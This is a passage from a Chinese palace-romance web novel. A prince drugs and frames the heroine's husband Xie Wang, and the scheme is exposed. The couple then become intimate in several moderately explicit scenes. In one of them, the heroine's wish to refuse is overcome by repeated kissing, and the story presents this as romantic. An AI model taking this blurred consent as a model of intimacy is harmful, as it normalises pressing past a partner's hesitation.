陆明礼抬手示意,侍从进来,把谢妄抬上床榻。 房中的香炉里添了些迷药,在这房中久待一些,便会被迷晕。 陆明礼看向一边跪着的婢女:“知道该怎么做吧?待你进了谢府,便给我那好妹妹找些事,离间他们夫妻,明白了么?” 婢女连连点头,表示自己明白。 陆明礼满意点头,派人去请陆朝朝。 陆朝朝听完那传话的太监说的话,柳眉微结:“谢妄喝醉了?” 二皇子为赔礼道歉请谢妄前去,谢妄在他那里喝醉了,二皇子着人请她去接人。她理了理这些话,感觉有哪里透露着诡异,二皇子和谢妄没什么交情,谢妄怎么会在他那里喝醉? 她狐疑不定,去了陆明礼那儿。 陆明礼见她过来,仍端出一副虚伪的笑容:“三皇妹来了,皇兄向你道歉,昨日之事,实在是皇兄不对。皇兄不该被蒙蔽了双眼,做出这些错事,还请三皇妹能原谅皇兄。” 陆朝朝不喜欢陆明礼,他和陆皎月两个人都很讨厌,她撇了撇嘴,看不惯他这副虚伪的样子:“谢妄呢?” 陆明礼领着她往房里走:“就在这儿,妹夫一时喝多了酒……” 他说着,推开门,而后故作惊讶:“这!” 陆朝朝循着他的视线看去,只见谢妄躺在床榻上,周身衣裳凌乱,身侧还躺着一个同样衣裳凌乱的美貌婢女。 陆明礼出声之后,那婢女慌乱地滚下床榻,哭诉求饶:“二皇子饶命,昭阳公主饶命……奴婢不是故意的,是谢大人他喝多了,强迫奴婢的……” 陆朝朝脸色一沉,没想到会看见这种场景。 她一时怒上心头,昨晚谢妄还跟她卿卿我我,转头就跟别人发生这种事? 她脸色难看至极,盯着谢妄,可偏偏谢妄似乎醉得厉害,都这样了还未醒。 陆明礼将她的表情看在眼里,眼底闪过一丝笑意,果然是女人,只要看见喜欢的男人和别人有什么牵扯,总是会被嫉妒和愤怒蒙蔽了双眼。 陆明礼语气严厉:“你胆子也太大了,怎么敢做出这种事来。” 转头又看陆朝朝,假意说:“昭阳,我实在没想到,会发生这样的事,妹夫他喝多了竟然会轻薄我的宠婢。事已至此,我只好忍痛割爱,将这宠婢赠与妹夫了,不过一个婢女,想来昭阳也能容得下吧?” 陆朝朝侧眸看陆明礼,她方才一时气急,这一会儿功夫缓过来了些,哪里有这么巧的事,偏偏谢妄就在他这儿喝醉了,偏偏陆明礼特意让人请她过来,又正好叫她撞见这一幕。分明就是故意做给她看的,虽然她不知道陆明礼此举有何意图,但定然没什么好事。 陆朝朝冷脸拒绝:“本宫的眼里可容不下沙子,谢妄既然是本宫的驸马,断然不可能再有第二个人能进门。既然是二皇兄的宠婢,这人,还是二皇兄自己留着吧。” 陆明礼眯了眯眼,没想到陆朝朝会直接拒绝,不过也无事,陆朝朝的表情这么难看,想必心里已经很不痛快,她不痛快,自己的目的就达成了。 陆明礼看向那婢女,阴狠道:“虽说我疼爱你,可你碍了昭阳公主和驸马的眼,我便留不得你了。来人哪,把她带下去处理了。” 看这意思,是要她的命了。 陆朝朝眉头一皱,正欲出声,却听得床榻上的人幽幽传来一声:“且慢。” 是谢妄醒了。 谢妄撑起身,看向陆朝朝。 陆朝朝避开他的视线。 谢妄又看向陆明礼,眸色一冷,算计到他头上来了。 谢妄道:“方才二皇子说,我一时酒醉,轻薄了你的婢女是么?可我今日滴酒未沾,何来酒醉一说?我现下四肢乏力,不像是酒醉,倒像是中了迷药。太医一查便知,二者的症状不同。至于轻薄了你的婢女,到底是真是假,想来太医也可有判断。” 谢妄声音冷厉,目光落回陆朝朝身上。 谢妄和婢女当然没什么,陆明礼是想栽赃,听谢妄这么一说,脸色有些挂不住:“不过是件小事,哪里需要闹这么大。既然谢大人这么说,那想来是这婢女有意攀附,诬陷谢大人,来人哪,把她带下去。” 谢妄还想不依不饶,陆明礼打断他道:“差点让妹夫被人诬陷了,是我不对,妹夫身子可还好?三皇妹还是快些带妹夫回去休息吧。” 谢妄眸色更冷,还未打算就此善罢甘休,陆朝朝却睨了谢妄一眼,而后转身离开。 谢妄见她离开,顾不上再和陆明礼掰扯这些,改天再跟他算账,他追上陆朝朝,因着 迷药还未全醒,步履有些踉跄。 “朝朝。”谢妄拉住陆朝朝,“我与她什么都没发生。” 谢妄感觉得出来,她在生气。 陆朝朝停下脚步,看他身影踉跄,衣裳还有些凌乱,很是狼狈。 她微微放软了语气:“我知道。” 她又不是笨蛋,陆明礼那个蠢货,用这么拙劣的手段。 只是她还是有些生气,她也不知道自己在气什么。 谢妄紧张地盯着她,听见她这么说,松了一口气。 陆朝朝说:“回去了。” 谢妄嗯了声,跟在她身后,只是手始终抓着她的手腕,好似很怕她离开。 二人一路回到寝宫,夜风吹得谢妄思绪清醒不少,他看向陆朝朝,有些笃定的语气:“朝朝是在吃醋吗?” 陆朝朝闻言炸毛,瞪他一眼:“你胡说八道什么?我才不会吃你的醋!” 谢妄圈紧她的手腕,往她靠近一分:“那你在气什么?” 陆朝朝:“我当然是气……我气陆明礼那个蠢货,就知道给我找事,不行吗?” 她被谢妄这么一说,心绪仿佛春日急促的雨,涟漪圈圈,一时间慌乱不已。她在竟然在吃谢妄的醋吗? 但是她一开始真的感觉很生气…… 谢妄又问:“方才二皇子说,要将那婢女给我,你为何不肯收?” 陆朝朝睁大眼睛:“怎么?你还想要?你不是说你们没什么吗?” 谢妄盯着她的眼睛,嘴角噙着笑:“自然没什么,朝朝不是知道吗?当日你将我迷晕,难道我能与你做什么?” 陆朝朝小声说:“当然不可能,你像一头死猪一样,我踹了你一脚都没反应。” 谢妄道:“你从前还说要给我纳妾。”他仍是笑着。 陆朝朝一时哑然。 是啊,她以前想给他纳妾,可是真有人要给他塞个人,她一点也不想收。 她变了。 她垂下眸子,不知在想些什么。 谢妄却勾住她的下巴,吻了下来。 “我此生只对你动过心。” 他轻吮着她的唇,将她紧紧抱住,想用绵长的吻织出一张网将她笼住:“此生此世,只有你。” 第55章 第五十五“可以吗?朝朝。” 陆朝朝被他坚实的臂膀拥在怀里,贴着他的胸膛,听见他有力的心跳声,跳得很快,亦或者其实那是她自己的心跳声。她的唇被谢妄衔着,思绪完全乱了,任由他勾缠着自己的唇舌。 檐下的风灯被风晃动,影子落在花几的鹤望兰上,一双人影交缠在一起,陆朝朝睁开水汪汪的眸子,茫然与谢妄对视。谢妄松开她的唇,从唇角吻至下巴,辗转至她细嫩的脖颈,他宽大的手掌亦在她背上游移。 陆朝朝轻哼一声,恍然回神,推开他。 “你臭死了。”她嫌弃地说。 谢妄一怔,低头嗅了嗅自己,他一向喜洁,对气味也颇为敏感,他臭么?他怎么自己没闻见? 正迟疑之际,忽地心念一动,他嗅到了些许脂粉香味,不属于陆朝朝,显然属于陆明礼安排的那个婢女。 谢妄看向陆朝朝,唇角微勾,道:“我去沐浴。” 陆朝朝往后退开几步,只低头看地上的灯影,囫囵点头:“你赶紧去吧。” 谢妄转身出了房门,陆朝朝看着他的背影消失后,一颗心才缓缓落回胸口,她捂着心口,缓缓跌坐在身侧的矮榻上,心乱如麻。谢妄方才的话点中了她,她一时不知如何面对这种转变,她好像开始喜欢谢妄了,怎么办呢? 陆朝朝苦恼地托住下巴,小脸皱作一团。 谢妄沐浴过后再来见她,自然是没见到。陆朝朝寝间里的灯已经熄了,房门紧闭。 谢妄站在廊下,风灯映出他颀长的身影,他兀自笑了笑,转身走了。 陆朝朝其实没有睡着,她根本睡不着,心里乱得厉害,心也跳得厉害,整个人都仿佛泡在水里一般,想要挣扎着游上岸,却又迷失了方向。她贴在床边,静静等着门外的人影离开。 那道颀长的身影消失之后,陆朝朝松了口气,却又坠入失落的惆怅里。她不知道她到底是想要他走,还是不想要他走,她也不知道自己到底想不想见他。 她只是有些想逃避。 可是逃得过今夜,逃得了明日么? 谢妄是她名正言顺的驸马,他们同住一个屋檐之下,总有逃不过的时候。她总是需要面对的。 谢妄家世优越,得父皇宠信,年纪轻轻便是天子近臣,拥有优越的皮囊,和卓越的才能。喜欢他,也不是什么丢人的事。其实京城很多贵女都喜欢他,哪怕他性子冷淡,讲话又难听,还是架不住有好多人喜欢他。 可是,自己以前很讨厌他的,简直不敢相信,有一天她会喜欢谢妄。 陆朝朝轻叹一声,落在静谧的夜色里,无影无踪。 门外的人也无影无踪了,陆朝朝缓缓行至门边,推开门。 意料之外地,对上不远处站在廊下的谢妄。 她红唇翕动:“你、你怎么没走啊?” 谢妄几步跨至她跟前,身影将她笼住,陆朝朝下意识地往后退了一步。但她身后便是墙,退无可退,只能被迫接受他的威压。 陆朝朝眨动眸子,抬头看谢妄。 谢妄语气不似往日的冷淡,反而似乎添了一层模糊的柔情:“为什么躲着我?” 陆朝朝下意识否认:“……我没有。” 谢妄自顾自说:“因为你对我心动了。” 是他一贯胸有成竹的笃定。 陆朝朝被他说中心思,睫羽颤动,还想辩解几句:“……才不是。” 谢妄打断她:“不要喜欢章安澜了,喜欢我,我比章安澜好。” 陆朝朝垂下眸子,旁人若说这话,实在略显狂妄,但这话从谢妄嘴里说出来,却是陈述事实。 谢妄唤她的名字:“朝朝。” 陆朝朝又抬起眼眸。 谢妄说:“喜欢我。” 陆朝朝不语。 谢妄又唤她的名字:“朝朝。” 陆朝朝看着他。 谢妄说:“喜欢你。” 他一面说,一面往前逼近。 吻落下来倒没有那么意料之外了,陆朝朝被迫仰起头,承受他这个吻。从最初的温柔,到急促的占有,谢妄似乎想把她吞吃^入腹似的,一手搂着她的后腰,渐渐收紧力道。 今夜没有月亮,只有檐下的风灯映出他们的影子,从门外,到室内。 谢妄抱着她,将门踢上。 他放陆朝朝在桌上坐下,陆朝朝手圈着他的脖子,呼吸有些急促。还未缓过神来,谢妄的吻已然再次落了下来。 她被吻得晕头转向,手指揪着他的衣襟,再次软下腰肢,靠在他怀里。 谢妄抵^着她的额角,粗声问:“可以吗,朝朝?” 陆朝朝脑袋都快被浆糊装满了,茫然地看着他,什么可以不可以? 谢妄没等到回答,只好再次吻下来。 陆朝朝嘴巴都被亲得麻麻的,心更是麻麻的,思绪混乱至极,待回过神来,二人已经坠入床榻。那金钩也听谢妄的话似的,自己落了下来。 待到箭在弦上,陆朝朝终于明白谢妄方才问的话是什么,她胡乱摇头,想说不可以,谢妄一遍遍地亲吻她,她难得回来的一点理智又再次荡然无存。 有过上回的经验,谢妄轻车熟路地为她送上欢愉。陆朝朝抓着谢妄的胳膊,眼角泛出泪花,再次陷入失神。 陌生的感觉拉回了她的思绪,她只觉得自己像要被分作两半,陆朝朝本能地推拒,谢妄安抚的吻又落了下来。 好在那不适也没 有持续太久,陆朝朝与谢妄贴在一起,彼此都汗涔涔的。陆朝朝渐渐习惯了那陌生的感觉,又生出一种奇怪的渴求。 谢妄察觉到她的变化,唇角贴着她的唇角,低声轻唤她的名字:“朝朝。” 一声声,一次次。 不知不觉,东方既白,陆朝朝早已经累得睡过去。谢妄伸手拥住她,在她额角落下一个吻。 谢妄忽而觉得,其实沉湎情^欲也是人之常情。 次日一早,婢女们候在门外,等候陆朝朝苏醒。 却听得寝间里传来了驸马的声音:“来人,送些热水进来。” 婢女们都有些惊讶,彼此面面相觑,而后推门进去伺候,见到了更吃惊的一幕。 驸马与公主昨夜似乎是同榻而眠…… 可他们怎么会睡在一起呢? 风荷率先反应过来,咳嗽了声,上前伺候。其余婢女们也赶紧回过神来,不再多看,只低头侍候。 陆朝朝睁开眼的时候,只觉得浑身都快散架了,简直比她骑一天的马还累。昨夜的记忆渐渐回潮,陆朝朝倏地脸色一红,看向身侧的男人。 谢妄早就醒了,他在等她醒来。 他嘴角噙着笑,低头在她唇上轻啄了一下。 陆朝朝脸色更红了,像熟透了的红苹果。 她……和谢妄…… 陆朝朝低头看了眼自己,嗔怒地在被子里踢了谢妄一脚。 谢妄仍是笑着,半点不见恼。 风荷水月她们上前来,扶陆朝朝起身,陆朝朝昨夜睡了过去,谢妄简单给她擦拭了一下,但身上仍是不舒服极了,她要去沐浴更衣。 才一动,酸痛感便袭来。陆朝朝轻蹙眉头,看向始作俑者。 始作俑者道:“我抱你去。” 陆朝朝当然拒绝:“……不要。” 她已经觉得很害羞了,她们肯定都知道发生了什么事。 她的拒绝没有起效,谢妄强硬地将她打横抱起,走向净室。 陆朝朝惊呼一声,下意识地搂住他的脖子。 他好像精力充沛,为什么,分明昨晚她这么累。陆朝朝瘪着嘴,小脸垮着。 谢妄放她在浴池里坐下,又问:“需要我伺候你沐浴吗?” 陆朝朝恼怒道:“不用!你快出去!” 谢妄便出去了。 陆朝朝靠着浴池边缘,轻叹一声。 她在浴池里磨蹭了许久才出来,出来时,谢妄还在她房中等着,他似乎也回去沐浴更衣过,整个人瞧着意气风发,乍一看就一副有好事发生的样子。反观自己,陆朝朝心里很不满。 她颐指气使道:“我要喝水。” 风荷当即要给她倒茶,被她一个眼神止住。 谢妄了然,任劳任怨地给她倒了一杯茶,且亲自喂到嘴边。陆朝朝就着这姿势喝了口茶水,又听谢妄问:“还要做什么?饿了没?要不要用早膳?” 陆朝朝点点头,她的确是饿了。 谢妄便命人摆早膳,用早膳的时间,谢妄也是服务周到,喂陆朝朝吃东西。旁边还有婢女们在,陆朝朝有些不好意思,还是自己吃了。 待用过早膳,谢妄令人把桌子撤下去,仍是赖着没走。 陆朝朝有些羞恼,问他:“你怎么还不走?” 谢妄说:“自然是陪着你。” 陆朝朝听得这话,又觉心中生出几分欢喜。 她按住唇边的笑,指使他道:“我要那边的扇子。” 谢妄便把扇子递上。 陆朝朝拿扇子遮住半边脸,小声说:“你以后敢有别人,你就死定了。” 谢妄捉住她白嫩手腕,将扇子移开,含住她的唇:“只有你。” 陆朝朝与他唇齿厮磨一番,又一番面红耳赤。 谢妄拥着她,有些意动。 陆朝朝推开他,骂了一句。 谢妄将她重新揽入怀中,笑说:“再亲一会儿。” 他说罢,并不给她反驳的机会。 日影落在墙上,二人依偎在一处,没一会儿,谢妄又低头亲她。 陆朝朝将扇子横在他们之间,嗔他一眼:“……你脑子里能不能有点别的东西啊。” 怎么就知道亲她…… 谢妄默然片刻:“也有别的东西。” 陆朝朝从他的眼神里看出来了,那别的东西更不是什么好东西。她想赶人:“你还是走吧。” 谢妄不肯走:“下棋?” 陆朝朝勉强同意,至少有件事分散他的注意力。 陆朝朝让她们拿来围棋,与谢妄对坐下棋,下着下着陆朝朝便觉得没意思了,她下不过谢妄。她看了眼谢妄,心道这人怎么也不会让着点自己。 听得谢妄说:“朝朝可以使些美人计。” 简直就在明示她。 第56章 第五十六当然,也有点喜欢的。…… 陆朝朝鼓了鼓腮帮子,将手中的棋子搁下,恼道:“不下了。” 陆朝朝别过眼,拿起扇子遮住脸,顺势往美人榻上歪下去。 原是故作恼怒,可一想,不过下几局棋,谢妄还要她使美人计,才肯让她赢,这又是谢妄从前那副讨人厌的样子了。是不是因为他昨晚得手了,所以就原形毕露,也不愿意再哄着她让着她了,所以他果真就是贪图自己的美色罢了。 越想便越觉得生气起来,陆朝朝眼中的笑意尽数退散,懊恼自己昨晚也是一时昏了头,竟答应了谢妄。 陆朝朝垂着眸子,嘴角耷拉下去。 谢妄听得她这话,知晓她是不大高兴了,敛去脸上笑意,找到她纤细的手握在手中,歉然道:“是我的不是。” 陆朝朝想把手从他手心里抽出来,一时没抽出来,仍是别别扭扭地不肯搭理他。她盯着扇子上的纹样,又觉自己这般未免太过小性子,不过是下几局棋,她下不赢便下不赢,他若是给自己放水,那也是虚的。只是心里这般想,还是有些微妙的不高兴,何况她现下气也生了,一时倒下不来台,只得顺势继续。 谢妄见她仍是不大高兴,心下一动,思索片刻后道:“再下一局?这回必定是朝朝赢。” 陆朝朝轻哼一声:“不过是下几局棋,谁在意?” 谢妄哄道:“我在意,我不该让你不高兴。” 许是习惯,谢妄说话时语气总有些淡,哪怕是讲这种情话也是淡淡的,只是这种淡然反而形成了一种反差,更叫人听来心颤。陆朝朝听着他哄自己的话,情绪好转过来,她搁下扇子,看了眼谢妄,道:“真不想下了。” 谢妄道:“那便不下了。” 他话音刚落,温热的呼吸喷洒在她耳畔,使得她感觉耳朵痒痒的。陆朝朝不禁瑟缩了下,下一瞬,谢妄的唇又落下来。 谢妄的唇印在她耳垂上,慢慢地移至她鬓边,再至眼睫。 到底是耳鬓厮磨了一整日。 至夜里,二人用过晚膳,谢妄意欲留下来,被陆朝朝赶走:“……不要,我还不舒服呢。” 陆朝朝以为他还想做那种事,她是在吃不消,这一晚估计得缓好几天。原来那种事这么累人,嬷嬷也没说过啊。 谢妄道:“不做什么,我只是想抱着你。” 陆朝朝狐疑:“……我才不信。” 他那么好色,这会儿说得好听,万一待会儿抱着抱着就开始不规矩呢?为了自己的安稳睡眠和休息,陆朝朝坚决拒绝。 谢妄叹了声,只好妥协,他眼巴巴看向陆朝朝,那模样还真有几分委屈似的。陆朝朝抿了抿唇,又退了一步:“那……让她们添张榻进来,你睡榻。” 谢妄眉目含笑:“好。” 陆朝朝便让她们搬了一张榻进来,放在一边,二人沐浴梳洗过后,熄灯安寝。 陆朝朝一身都疲惫,躺下没多久便入了梦乡。她睡得沉,自然也没发觉谢妄几时上了自己的床,直到第二天早上睁开眼,发现自己竟躺在男人的胸膛上,她惊了惊,嗔道:“你怎么不守信用……” 谢妄低头在她唇上啄了一下,并不反驳任何,只是和她一道起床。 今日便要收拾东西启程回皇宫了,陆朝朝没有耽搁,洗漱梳妆后,便让她们收拾行囊,准备回宫。到了出发的时辰,陆朝朝让他们先将东西抬上马车,自己去找崇光帝说话,谢妄跟在她身后。 “父皇。”陆朝朝乖巧地唤了声,目光扫过不远处的陆明礼。 陆明礼自知理亏,避开陆朝朝的视线,不敢多说什么。 谢妄亦看向陆明礼,男人的眼神不同于陆朝朝的,陆朝朝即便讨厌他,也只是讨厌的眼光,可来自谢妄的眼神却是透着十足的冷意,让陆明礼后背都有些发凉。 他一怔,随即想道,他怕什么?他是皇子,谢妄是臣子,君臣有别,谢妄又能把他怎样? 他如此想着,便又抬头看了回去。 谢妄已经移开视线,和陆朝朝说话。 陆明礼冷哼一声。 崇光帝到底是皇帝,目光一扫便知晓他们几个之间气氛不对,他想到前些日子的事,以为还是为着那件事,颇有些怒其不争地看向自己的二儿子。二皇子这性子,的确做不得储君,他太短视,不够仁爱。做皇帝的,可以没有什么才能,但不能不仁爱。崇光帝在心里有了决断。 不多时,队伍便该出发了。 陆朝朝和谢妄回到自己的马车上,陆朝朝登上马车,谢妄也跟着上来了。 她看了眼谢妄,倒是没有赶他下去。 陆朝朝身上的酸痛感还在,路途虽然平顺,但马车坐久了还是不舒服,陆朝朝渐有些困倦,慢慢倚着谢妄的肩膀睡了过去。 谢妄将她揽入怀中,正巧有风吹来,将帘栊吹起,露出一道窥探的视线。 谢妄看去,与章安澜对上目光。 章安澜目光落在一旁的陆朝朝身上,眯了眯长眸。 谢妄将帘栊落下,隔绝了窗外的视线。 他低头,在怀中人的额角落下一吻。 什么先来后到,他可不讲这些。说到底,还是他章安澜没本事。 谢妄心安理得。 待回到京城,陆朝朝与谢妄便自行回了谢家。陆朝朝一整日都昏昏沉沉,就中午用饭的时候清醒了会儿,下晌又睡了过去。 马车停在谢府门口时,陆朝朝终于醒了,她揉了揉眼,“到家了么?” 谢妄因着她这一句话眸中带笑,这是他们的家。他轻嗯了声。 陆朝朝起身,踩着脚凳下马车,谢妄与她一起,伸手扶她。 那边林娇下马车时,正巧看见这一幕,给谢正霄使了个眼色。此番行宫围猎,谢正霄他们也去了,那天狩猎的时候,林娇就觉得昭阳公主和自家儿子之间气氛隐约有些不同。今日一见,愈发笃定了自己的猜测。 她这不省心的儿子,终于是铁树开花了,看来她很快就能抱上新孙子了。 林娇眉开眼笑,心情大好,回到院中就吩咐丫鬟,让厨房给陆朝朝炖了汤送去,也给谢妄送了汤。只不过两个人送的汤功效不同,一个是美容养颜,另一个么,则是壮大男子雄风。 谢妄得知林娇的好意,一时默然,而后将那汤赏给了万山。万山不知汤中玄妙,喜滋滋谢过自家公子,几口便喝完了,当日夜里,自然是燥热不已,没能睡上一个好觉- 当日谢妄与陆明礼的恩怨没能清算,谢妄一直记在心里,回了京,自然着手开始清算。像陆明礼这种人,漏洞一堆,从前他与陆明礼算不上有恩怨,他便也没有细究,如今可不同,他正要找陆明礼的茬,便命人一桩桩一件件地翻出来,捅到崇光帝跟前。 陆明礼仗势欺人,强抢民女,纵容底下人欺男霸女……每一条都看得崇光帝更怒一层,崇光帝在朝堂上大发雷霆,直接罢免了陆明礼在朝中的一切官职,命他闭门思过半年。 不仅如此,崇光帝更是降下旨意,立大皇子为太子。 陆明礼颓然谢了恩,没想到这一天终究还是来了。父皇终究还是立了大皇子为太子,而自己却被禁足思过。 陆明礼在自己宫中借酒浇愁,不愿接受自己输了的事实。他忽地脸色一变,摔了手中的酒壶,“该死。” 全都该死。 谢妄该死,若非他和自己过不去,他又怎么会被父皇训斥,让父皇不满意? 大皇子也该死,他那样低贱的出身,就应该拱手让出储君之位,竟然还敢跟自己争。 父皇……父皇也该死!他老眼昏花,竟然不立自己为太子,反而立大皇子为太子! 一双儿女都犯了错,郑皇后近来甚是惶恐。她给菩萨上了香,不知是说与菩萨听,还是说与自己听:“这便是我的罪孽么,如今报应到两个孩子身上了……他们怎么会变成这个样子?” 郑皇后睁开眼,一声长叹。 婢女清芳进来禀报:“娘娘,公主想见您一面。” 郑皇后扶了扶额角,只说:“她左右是想让我替她劝劝陛下,便不见了,让她反省一下也好。” 清芳欲言又止:“可是娘娘,公主毕竟是您亲生的,她性子骄傲,您不帮她……” 郑皇后道:“或许我从前就是太宠着他们,才叫他们变成今日这样子。” 陆皎月得知郑皇后不愿意见自己,恨恨道:“母后还是如此懦弱,旁人欺辱我,她无动于衷,如今皇位落到大皇子手里,她还是无动于衷。呵,既然母后不肯帮我,我只能自己想办法了。我告诉你的事,你可都记下了?” 那婢女点头:“奴婢记下了。” 陆皎月道:“好,去吧,事成之后,我自不会亏待你。” 陆皎月行至庭中,入了秋,太阳都没那么刺眼了,她抬头看向太阳,轻笑了声。 她已经有些迫不及待了,接下来,绝对是一场好戏- 距离上回已经过去好几日,这些日子,谢妄搬来与陆朝朝同住。 夜色已深,陆朝朝与谢妄二人同榻而眠。谢妄手横在她腰上,拥着她入睡。 他低头吻她。 陆朝朝已经有些习惯他的吻,揪着他的衣襟,闭着眼睛承受他的掠夺。虽然有些习惯,但每次被他一亲,陆朝朝还是感觉脑袋发昏,好像完全没办法思考别的事情。 她的心也跳得好快,肌肤紧贴着肌肤,幔帐内的温度缓缓升高。 陆朝朝睁开眼,撞入谢妄的视线。 每次这种时候,他看她的眼神都让陆朝朝感觉很害羞…… 当然,也有点喜欢的…… 第57章 第五十七这回真是冤家变爱侣了。 陆朝朝有些气喘吁吁地趴在他怀中,感受到谢妄的吻落在她纤细白皙的脖颈,她微微仰起头,将自己脆弱的脖颈露出更多给他。谢妄的手掐着她的腰,她的腰贴合着他的,感觉到他的蓄势待发。 陆朝朝不由有些紧张,上回初始时的痛楚与难受她还记着,她吞咽了声,忽地想起傅宝嘉和自己说过的那些^下流话,面色便更绯红一片。谢妄的确很……那种事好像也的确…… 察觉到她的走神,谢妄不满地轻咬了她的锁骨,陆朝朝被他的动作拉回思绪,吃痛地蹙起柳眉,不满地看向他:“你怎么咬人……” 谢妄嗓音低沉,落在她耳畔:“朝朝方才在想什么?” 陆朝朝当然不可能告诉他自己在想什么,她先前还因为这些大骂过他色^鬼,她只说:“没什么啊……” 谢妄不知想到什么,眸色微沉,续上先前的吻。 这回比上回顺畅许多,没那般艰^涩难行,那点不适很快便舒缓过来。陆朝朝绷直着背脊,又开始晕晕乎乎的。 谢妄一面亲吻她,一面丝毫不曾停下。 陆朝朝有些吃不消,求饶唤他慢些,自然没什么用。 谢妄的指尖贪恋地划过她身上每一寸肌肤,一些记忆浮现,那些被他评价为粗鄙的琴瑟话本里的描写重又回到他脑海中,与眼前人一一对应。谢妄低头衔住她的唇,陆朝朝尚在闭着眼睛缓神,任由他予取^予求。 谢妄又想到什么,将她变换了个身位,转瞬之间,她便在他之上。 嗓音在蒸腾的热意里仿佛被打湿,带着一些潮^湿的模糊,“朝朝不是总想在我之上么?” 陆朝朝被他忽然的动作吓清醒了几分,有些无措地坐着,低头看他:“什么?” 她反应过来,面上的绯红一路蔓延至肩颈。 这般姿态实在太过羞人,她很不适应,感觉完全被他盯着看,她扭捏着,不想这样。但谢妄哄她,让她试试。他这时候的语气不似平时的冷淡,有几分迫切似的,陆朝朝本来就晕晕乎乎的,被他一哄,也就照做了。 她居高临下地看谢妄,可谓是将他的神色变化尽收眼底,他完全为她所掌控似的。她有所动作,他便沉迷其中。 这种滋味倒是不错,陆朝朝渐渐得了趣味,愈发卖力。 只是这太耗费体力,没多久她便没了力气。 谢妄扶着她的腰,接手一切。 不觉天光将明,陆朝朝已经困得睁不开眼,讲话都黏糊:“……你刚才就说最后一次了。” 谢妄亲了亲她的背:“这次是真的。” 陆朝朝嘟囔了两句,实在没有力气反驳什么- 陆朝朝醒来时,已然是晌午时分。枕边已经空了,陆朝朝从风荷她们口中得知,谢妄和平时一样时辰起来,已经去了官署。 陆朝朝暗自不解,谢妄怎么会精力这么好,他完全不会累吗?她快累死了,浑身都酸痛得厉害。 “下回不能再这么放纵了。”她小声嘀咕,起床洗漱梳洗。 与此同时,刑部官署的各位都发现了,今日谢大人的心情很好,是前所未有的好。从前就没看谢大人心情这么好过,连说话都和颜悦色了几分,而且他好像在笑。 若非大家都看见了,他们简直怀疑是自己出现幻觉。 “你觉不觉得,今天谢大人很诡异。”有人私下议论。 “是挺诡异的。” 二人说着,忽然听得身后传来一声熟悉的嗓音:“何处诡异?” 二人对视一眼,皆是身形一僵,都不敢回头看身后的谢妄。坏了坏了,说谢大人坏话会被谢大人逮到了,这下完了…… 二人正惴惴不安时,却听谢妄说:“这分明是春风得意。” 他说罢这句,便转身离开了,并未与他们计较。 二人都松了口气,又再对视一眼,更诡异了。 谢大人春风得意什么?难不成谢大人要升官了? 可谢大人这年纪做到这官位,已经可谓是破例,他再往上升官,那就是内阁了,谢大人年纪轻轻,不可能吧? 若非是官场春风得意,那便是情场春风得意? 谢大人与昭阳公主近来感情很好? 不对啊,谢大人几时是这种会因为私情而受影响的人了? 诡异,甚是诡异,难不成果真情之一字叫人面目全非?- 陆朝朝起床后用了午膳,便坐在美人榻上休息。奶娘带着谢绵绵过来,谢绵绵轻车熟路跨过门槛,甜甜地唤她:“公主,这些天你有没有想绵绵呀?绵绵可是很想你的哦。” 前些日子,谢绵绵回外祖家中住了些时日,今日才归家。她一归家,和郑婉然林娇她们打了招呼,便迫不及待来找陆朝朝。 谢绵绵走到陆朝朝跟前,陆朝朝看见她可爱的脸蛋,眉眼弯弯:“我当然也想绵绵了。” 谢绵绵爬上美人榻,在陆朝朝身边坐下,和她分享自己这些日子在外祖家里的新鲜事。 “公主,公主,绵绵跟你说哦,外祖父给绵绵当大马骑……”小孩子的新鲜事其实听来颇为无聊,但陆朝朝还是认真听着。 谢绵绵说起这些来滔滔不绝,把自己都说得口渴了,陆朝朝给她倒了杯茶水,谢绵绵一口气喝完了一杯茶水,正要继续说下去,忽地眼睛瞥见陆朝朝脖子上的红痕,诧异道:“公主被蚊子咬了好大一个包,坏蚊子。” 陆朝朝一怔,顺着谢绵绵的视线看向自己的脖子,一时脸热,应和谢绵绵的话:“对啊,真是一只坏蚊子。” 谢绵绵又说:“阿娘昨晚也被蚊子咬了好大一个包,这些坏蚊子!” 她一顿,又笑说:“幸好这些坏蚊子没有咬绵绵。” 陆朝朝被她逗笑,让风荷从她妆奁里拿了一块宝石送给谢绵绵,谢绵绵很是喜欢,在陆朝朝脸颊亲了一下。 “谢谢公主。” 说了会儿话,谢绵绵有些坐不住,拉着陆朝朝要去外面玩。陆朝朝身子酸痛,但不忍心拒绝,还是陪着她出去玩。 谢绵绵精力充沛,拉着她一路逛,把陆朝朝累得够呛。送走谢绵绵之后,陆朝朝坐在亭中休息,心道都怪谢妄,他昨晚是在太没有节制了。她明明好早就说困了,想睡觉,他一直说最后一回,最后一回……结果一直到天快亮了,她才能睡觉。 更可恶的是,他早上还神清气爽地出去上值。 正想着,谢妄便回来了。 陆朝朝看向来人,谢妄几步行至她跟前,眉目之间依稀藏着笑意。 陆朝朝嗔瞪他一眼:“都怪你。” 谢妄见她面露愁色,问道:“怎么了?” 身后还跟着风荷她们,陆朝朝不好说得太明白,只道:“你自己知道,你这个……” 后两个字她只用口型讲了。 谢妄了然。 陆朝朝抱怨说:“我今日都累死了,绵绵过来找我玩,还想让我抱她,我哪儿抱得动她?” 谢妄认错:“嗯,怪我。” “我给你按按。”谢妄说着,走到她背后,果真替她按起肩来。 谢妄收了些力道,替她按了会儿肩,又锤了会儿背,陆朝朝感觉舒服了些。 正是黄昏时分,乌金西坠,落日熔金,入了秋后,夜风便透着几分凉意。谢妄道:“天色不早,回去吧。” 陆朝朝坐着没动,故意说:“走不动了,你背我。” 她看着谢妄,她是故意支使他,没想到谢妄一句也不曾反驳,当即点了头。 “好,我背你。” 他在陆朝朝跟前蹲下,露出宽厚的背脊,陆朝朝怔了怔,而后趴下,抱住他的脖子。谢妄手圈住她的腿,背她起身。 陆朝朝被他背着,夕阳渐渐从天边消散,庭中的灯慢慢上了,微凉的夜风拂面而来。她想到谢绵绵说的话,忽然在谢妄背上拍了一下,口中道了一声:“驾。” 谢妄侧头瞥她一眼,而后大步往前跑,竟还配合她。 陆朝朝清脆的笑声回荡在路上,不远处,林娇看着和睦的小夫妻俩,欣慰地笑。她看向身侧的谢正霄,若有所思,谢正霄道:“夫人,我这老胳膊老腿的,可背不动你。” 林娇嗔怒地看他一眼,跳进他怀里,谢正霄本能地接住她。 “那总抱得动我。”- 九月末,傅宝嘉与薛仲霖成婚,陆朝朝自然到场给她撑场面。 婚后几日,傅宝嘉与陆朝朝约着出门逛玩。 